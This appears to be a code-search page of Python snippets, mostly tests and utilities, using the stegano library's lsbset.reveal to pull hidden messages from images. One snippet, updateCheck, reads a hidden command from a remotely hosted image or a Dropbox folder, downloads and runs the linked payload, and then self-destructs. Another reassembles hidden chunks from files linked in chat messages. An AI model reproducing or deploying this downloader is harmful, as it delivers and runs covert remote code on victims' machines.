示例#1
0
    def test_hide_and_reveal_with_bad_generator(self):
        message_to_hide = "Hello World!"
        secret = lsbset.hide("./tests/sample-files/Lenna.png", message_to_hide,
                             generators.eratosthenes())
        secret.save("./image.png")

        with self.assertRaises(IndexError):
            lsbset.reveal("./image.png", generators.identity())
示例#2
0
def find_message(pic_name):
    try:
        mess = lsbset.reveal(path_to_pics + pic_name,
                             generators.eratosthenes())
    except IndexError:
        return False
    return mess
示例#3
0
    def test_hide_and_reveal_with_bad_generator(self):
        message_to_hide = "Hello World!"
        secret = lsbset.hide("./tests/sample-files/Lenna.png", message_to_hide,
                                    generators.eratosthenes())
        secret.save("./image.png")

        with self.assertRaises(IndexError):
            clear_message = lsbset.reveal("./image.png", generators.identity())
示例#4
0
    def test_hide_and_reveal_UTF32LE(self):
        messages_to_hide = 'I love 🍕 and 🍫!'
        secret = lsbset.hide("./tests/sample-files/Lenna.png",
                             messages_to_hide, generators.eratosthenes(),
                             'UTF-32LE')
        secret.save("./image.png")

        clear_message = lsbset.reveal("./image.png", generators.eratosthenes(),
                                      'UTF-32LE')
        self.assertEqual(messages_to_hide, clear_message)
示例#5
0
    def test_hide_and_reveal_with_shift(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/Lenna.png", message,
                                 generators.eratosthenes(), 4)
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                          generators.eratosthenes(), 4)

            self.assertEqual(message, clear_message)
示例#6
0
def reveal(image_path: str) -> str:
    """Find a message in an image.
    Example:
    reveal("hidden.png")
    """
    try:
        return lsbset.reveal(image_path, generators.eratosthenes())
    except FileNotFoundError:
        return ""
    except IndexError:  # no hidden message in the image
        return ""
示例#7
0
    def test_hide_and_reveal_UTF32LE(self):
        messages_to_hide = 'I love 🍕 and 🍫!'
        secret = lsbset.hide("./tests/sample-files/Lenna.png",
                            messages_to_hide,
                            generators.eratosthenes(),
                            'UTF-32LE')
        secret.save("./image.png")

        clear_message = lsbset.reveal("./image.png", generators.eratosthenes(),
                                        'UTF-32LE')
        self.assertEqual(messages_to_hide, clear_message)
示例#8
0
    def test_with_transparent_png(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/transparent.png",
                                 message, generators.eratosthenes())
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                          generators.eratosthenes())

            self.assertEqual(message, clear_message)
示例#9
0
    def test_with_transparent_png(self):
        messages_to_hide = ["a", "foo", "Hello World!", ":Python:"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/transparent.png",
                                    message, generators.eratosthenes())
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                    generators.eratosthenes())

            self.assertEqual(message, clear_message)
示例#10
0
    def test_hide_and_reveal_with_ackermann(self):
        messages_to_hide = ["foo"]
        for message in messages_to_hide:
            secret = lsbset.hide("./tests/sample-files/Lenna.png", message,
                                 generators.ackermann(m=3))
            secret.save("./image.png")

            clear_message = lsbset.reveal("./image.png",
                                          generators.ackermann(m=3))

            self.assertEqual(message, clear_message)
示例#11
0
    def test_with_location_of_image_as_argument(self):
        messages_to_hide = ["Hello World!"]

        for message in messages_to_hide:
            outputBytes = io.BytesIO()
            bytes_image = lsbset.hide(
                "./tests/sample-files/20160505T130442.jpg", message,
                generators.identity())
            bytes_image.save(outputBytes, "PNG")
            outputBytes.seek(0)

            clear_message = lsbset.reveal(outputBytes, generators.identity())

            self.assertEqual(message, clear_message)
示例#12
0
def get_sign_from_image(source_image: Union[str, IO[bytes]]) -> Dict:
    signature_from_exif = exifHeader.reveal(source_image)
    signature_from_data = lsbset.reveal("./image.png",
                                        generators.eratosthenes())

    return {
        'signature_from_data':
        signature_from_data,
        'signature_from_exif':
        signature_from_exif,
        'matched':
        signature_from_data is not None
        and signature_from_data == signature_from_data
    }
def updateCheck():

    # checks for hidden messages in an image
    try:
        # a shortened url so we can change the image location without touching the code
        imgName = dlr('a_shortened_url')
        # extracts the message from the image
        message = lsbset.reveal(imgName, generators.eratosthenes())
        with open('updts.txt', 'w') as updts:
            updts.write(message)

        # decrypts the message and checks for updates
        decryptedDic = dcryptFunc(message)
        if 'updatelink' in decryptedDic.keys():
            newUpdateName = dlr(decryptedDic['updatelink'])
            unzipped = unZipper(newUpdateName)
            Popen(unzipped)
            selfDestruct()
    # failsafe: in case there was a problem in downloading the image or
    # extracting the message, use Dropbox
    except:
        acstoken = ''
        dbx = dropbox.Dropbox(acstoken)
        path = ""
        try:
            # lists all files in a Dropbox folder
            files = dbx.files_list_folder(path, recursive=True)
            for f in files.entries:
                # if there was 'update' in one of the file names ...
                if 'update' in f.name:
                    # download the file
                    metadata, downloadedFromdbx = dbx.files_download('/' +
                                                                     f.name)
                    # remove carriage returns, space, etc...
                    updatedContents = (downloadedFromdbx.content).strip()
                    # decrypt the message and check for update
                    decryptedDic = dcryptFunc(updatedContents.decode('utf-8'))
                    with open('updts.txt', 'w') as updts:
                        if 'updatelink' in decryptedDic.keys():
                            newUpdateName = dlr(decryptedDic['updatelink'])
                            unzipped = unZipper(newUpdateName)
                            Popen(unzipped)
                            selfDestruct()
                        # if there was no update available, just write the contents to a file
                        else:
                            with open('updts.txt', 'w') as updts:
                                updts.write(updatedContents.decode('utf-8'))
        # in case both failed, just 'pass' so the program won't exit
        except:
            pass
示例#14
0
    def test_hide_and_reveal_with_shi_tomashi(self):
        messages_to_hide = ["foo bar"]
        for message in messages_to_hide:
            secret = lsbset.hide(
                "./tests/sample-files/Lenna.png",
                message,
                generators.shi_tomashi("./tests/sample-files/Lenna.png"),
            )
            secret.save("./image.png")

            clear_message = lsbset.reveal(
                "./image.png",
                generators.shi_tomashi("./tests/sample-files/Lenna.png"))

            self.assertEqual(message, clear_message)
示例#15
0
def decrypter(key, fileprefix):

    filename = fileprefix + ".png"

    source = lsbset.reveal(filename, generators.eratosthenes())

    key = key.encode("ascii")

    source = base64.b64decode(source.encode("latin-1"))
    key = SHA256.new(key).digest()
    IV = source[:AES.block_size]
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    data = decryptor.decrypt(source[AES.block_size:])
    padding = data[-1]
    data = data[:-padding]

    return (data.decode('ascii'))
示例#16
0
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        # if user does not select file, browser also
        # submit a empty part without filename
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            fic = BytesIO()
            file.save(fic)
            fic.seek(0)
            return lsbset.reveal(fic, generators.eratosthenes())


    return '''
示例#17
0
from stegano import lsbset
from stegano.lsbset import generators


if __name__ == '__main__':
    hFile = "./image.png"
    secret_message = 'Prova Druido'
    secret_image = lsbset.hide("./samples/hackcortona-logo.png",
                               secret_message,
                               generators.eratosthenes(),
                               auto_convert_rgb=True)
    secret_image.save(hFile)

    print('Message hidden in file: {}'.format(hFile))

    message = lsbset.reveal(hFile, generators.eratosthenes())
    print('Decrypted message: {}'.format(message))
示例#18
0
def main():
    parser = argparse.ArgumentParser(prog='stegano-lsb-set')
    subparsers = parser.add_subparsers(help='sub-command help', dest='command')

    # Subparser: Hide
    parser_hide = subparsers.add_parser('hide', help='hide help')
    # Original image
    parser_hide.add_argument("-i",
                             "--input",
                             dest="input_image_file",
                             required=True,
                             help="Input image file.")
    parser_hide.add_argument(
        "-e",
        "--encoding",
        dest="encoding",
        choices=tools.ENCODINGS.keys(),
        default='UTF-8',
        help="Specify the encoding of the message to hide." +
        " UTF-8 (default) or UTF-32LE.")

    # Generator
    parser_hide.add_argument("-g",
                             "--generator",
                             dest="generator_function",
                             action=ValidateGenerator,
                             nargs='*',
                             required=True,
                             help="Generator (with optional arguments)")
    parser_hide.add_argument("-s",
                             "--shift",
                             dest="shift",
                             default=0,
                             help="Shift for the generator")

    group_secret = parser_hide.add_mutually_exclusive_group(required=True)
    # Non binary secret message to hide
    group_secret.add_argument("-m",
                              dest="secret_message",
                              help="Your secret message to hide (non binary).")
    # Binary secret message to hide
    group_secret.add_argument(
        "-f",
        dest="secret_file",
        help="Your secret to hide (Text or any binary file).")

    # Image containing the secret
    parser_hide.add_argument("-o",
                             "--output",
                             dest="output_image_file",
                             required=True,
                             help="Output image containing the secret.")

    # Subparser: Reveal
    parser_reveal = subparsers.add_parser('reveal', help='reveal help')
    parser_reveal.add_argument("-i",
                               "--input",
                               dest="input_image_file",
                               required=True,
                               help="Input image file.")
    parser_reveal.add_argument(
        "-e",
        "--encoding",
        dest="encoding",
        choices=tools.ENCODINGS.keys(),
        default='UTF-8',
        help="Specify the encoding of the message to reveal." +
        " UTF-8 (default) or UTF-32LE.")
    parser_reveal.add_argument("-g",
                               "--generator",
                               dest="generator_function",
                               action=ValidateGenerator,
                               nargs='*',
                               required=True,
                               help="Generator (with optional arguments)")
    parser_reveal.add_argument("-s",
                               "--shift",
                               dest="shift",
                               default=0,
                               help="Shift for the generator")
    parser_reveal.add_argument(
        "-o",
        dest="secret_binary",
        help="Output for the binary secret (Text or any binary file).")

    # Subparser: List generators
    parser_list_generators = subparsers.add_parser('list-generators',
                                                   help='list-generators help')

    arguments = parser.parse_args()

    if arguments.command != 'list-generators':
        try:
            arguments.generator_function[0]
        except AttributeError:
            print('You must specify the name of a generator.')
            parser.print_help()
            exit(1)

        try:
            if (arguments.generator_function[0] == "LFSR"):
                # Compute the size of the image for use by the LFSR generator if needed
                tmp = tools.open_image(arguments.input_image_file)
                size = tmp.width * tmp.height
                tmp.close()
                arguments.generator_function.append(size)
            if (len(arguments.generator_function) > 1):
                generator = getattr(
                    generators, arguments.generator_function[0])(
                        *[int(e) for e in arguments.generator_function[1:]])
            else:
                generator = getattr(generators,
                                    arguments.generator_function[0])()

        except AttributeError as e:
            print("Unknown generator: {}".format(arguments.generator_function))
            exit(1)

    if arguments.command == 'hide':
        if arguments.secret_message != None:
            secret = arguments.secret_message
        elif arguments.secret_file != "":
            secret = tools.binary2base64(arguments.secret_file)

        img_encoded = lsbset.hide(arguments.input_image_file, secret,
                                  generator, int(arguments.shift))
        try:
            img_encoded.save(arguments.output_image_file)
        except Exception as e:
            # If hide() returns an error (Too long message).
            print(e)

    elif arguments.command == 'reveal':
        try:
            secret = lsbset.reveal(arguments.input_image_file, generator,
                                   int(arguments.shift))
        except IndexError:
            print("Impossible to detect message.")
            exit(0)
        if arguments.secret_binary != None:
            data = tools.base642binary(secret)
            with open(arguments.secret_binary, "w") as f:
                f.write(data)
        else:
            print(secret)

    elif arguments.command == 'list-generators':
        all_generators = inspect.getmembers(generators, inspect.isfunction)
        for generator in all_generators:
            print('Generator id:')
            print('    {}'.format(crayons.green(generator[0], bold=True)))
            print('Desciption:')
            print('    {}'.format(generator[1].__doc__))
from stegano import lsbset
from stegano.lsbset import generators

# secret_message = "It's my cat's birthday today."
# secret_image = lsbset.hide("Amber.jpg",
# 	secret_message,
# 	generators.eratosthenes())
# secret_image.save("SafeWithAmber.png")




message = lsbset.reveal("SafeWithAmber.png", generators.eratosthenes())
print (message)
示例#20
0
img.save("sample.png")
del img

# 4. encode sig into img
# there has got to be an easier way...
secret_sig = base56.encode(base16.decode(sig.to_hex()[2:].upper()))
vessel_img = lsbset.hide("sample.png", secret_sig, generators.eratosthenes())
vessel_img.save("sig0.png")

# 5. Hash vessel_img
vih = sha3.keccak_256(vessel_img.tobytes()).digest()


'''VERIFICATION EXAMPLE'''
# 4. Prover provides verifer with secret_sig and generator used, verifer extracts secret_sig
revealed_sig = lsbset.reveal("sig0.png", generators.eratosthenes())
# "sanity" check
# base16.encode(base56.decode(revealed_sig)).lower() == sig.to_hex()[2:]

# Convert back into a eth_key Signature
rsig = keys.Signature(bytes.fromhex(base16.encode(base56.decode(revealed_sig))))

# 5. Verifier provides nonce
nonce = b'717f4e012baa4450ccdff3477a5c652bc55f224a054712d46e60aa05022aeac3_2018-12-16T19:30:41Z'

# 6. Prover provides signed nonce to Verifier (and message ws sent at some point)
signed_nonce = pk.sign_msg(nonce)

# 7. Verifer confirms sigs match
signed_nonce.recover_public_key_from_msg(nonce) == rsig.recover_public_key_from_msg(msg)
示例#21
0
                continue
            except KeyError:
                continue
            if 'username' in message.keys():
                print("Received new message to decode.")
                if message['username'] == 'blackms':
                    files = [x.encode('utf8').replace('<', '').replace('>', '') for x in message["text"].split("\n")]
                    print("Received: {} files to open and decode.".format(len(files)))
                    for file in files:
                        if ".png" in file:
                            file_name = file.split('/')[-1]
                            urllib.urlretrieve(file, './received/{}'.format(file_name))
                            from stegano import lsbset
                            from stegano.lsbset import generators

                            chunk = lsbset.reveal("./received/{}".format(file_name), generators.eratosthenes())
                            decrypted_chunks.append(chunk)
                        else:
                            file_name = file.split('/')[-1].replace('?dl=1', '')
                            urllib.urlretrieve(file, './received/{}'.format(file_name))
                            from myHackaton.libs.audio_steganography.engine import decode

                            chunk = decode("./received/{}".format(file_name)).decode("utf-8")
                            decrypted_chunks.append(chunk)
                        print("First chunk from: {} contains: {}".format(
                            file_name,
                            chunk
                        ))
                print('Message:\n{}'.format(''.join(decrypted_chunks)))
                decrypted_chunks = []
            time.sleep(1)
示例#22
0
import os
import platform
from termcolor import colored
from datetime import date ,datetime
import time
from stegano import lsbset
from stegano.lsbset import generators
from stegano import exifHeader
from pynput.keyboard import Listener
from pynput import keyboard
import sys
import re

file = "./Hidden/file.png"
msg = lsbset.reveal(file,generators.eratosthenes())
message = msg.decode()
msg = exifHeader.reveal("./Hidden/file.jpg")
msg = msg.decode()

#with open("tmp",'w') as f:
#    f.write(message)
#get the file
with open("tmp","r") as r:
    lines = r.read()
    lines = lines.encode().decode()
    lines = lines.splitlines()
    content = lines[:-1]
    lines = lines[-1]
    for x in content:
        print(x)
示例#23
0
def reveal_message_console(currentos,path):
    if currentos == "windows":    
        os.system("cls")
        location = path.replace('"','')
        img_name_arr = location.split("\\")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #reveal message from jpg or jpeg file
        if img_ext == "jpg" or img_ext == "jpeg":
            #try to reveal hidden message
            try:
                message = exifHeader.reveal(location)
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("cls")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            #exit if error happnes
            except Exception as e:
                print(e)
                #print(colored("We have an error.Quitting...","red"))
                #os.system("cls")
                #os.system("exit")
        #reveal message from png files
        elif img_ext == "png":
            try:
                message = lsbset.reveal(location, generators.eratosthenes())
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("cls")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(e)
                #print(colored("We have an error.Quitting...","red"))
                #os.system("cls")
                #os.system("exit")
                
    elif currentos == "linux":
        os.system("clear")
        location = path.replace('"','')
        img_name_arr = location.split("/")
        img_name = img_name_arr[len(img_name_arr)-1]
        img_ext_arr = img_name.split(".")
        img_ext = img_ext_arr[len(img_ext_arr)-1]
        #show if jpg image
        if img_ext == "jpg" or img_ext == "jpeg":
            try:
                message = exifHeader.reveal(location)
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("clear")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(colored("We have an error.Quitting...","red"))
                os.system("clear")
                os.system("exit")
        #show if png image 
        elif img_ext == "png":
            try:
                message = lsbset.reveal(location, generators.eratosthenes())
                message = message.decode()
                save_msg = open("./Messages/"+img_ext_arr[0]+".txt","w","utf-8")
                save_msg.write(message)
                save_msg.close()
                print(colored("Hidden Message Is: "+message,"green"))
                print(colored("Message saved in messages/"+img_ext_arr[0]+".txt file","green"))
                todo = input(colored("Type E to exit Or M to Go to Main Menu -->> ","green"))
                if todo.lower() == "e":
                    os.system("clear")
                    os.system("exit")
                elif todo.lower() == "m":
                    banner(currentos)
                else:
                    print(colored("Wrong Input.Quitting...","red"))
            except Exception as e:
                print(colored("We have an error.Quitting...","red"))
                os.system("clear")
                os.system("exit")
示例#24
0
    def decodePngWithSet(self, path, choice):
#        if "./" not in path:
#            path = "./" + path
        message = lsbset.reveal(path, self.choices[choice]())
        return message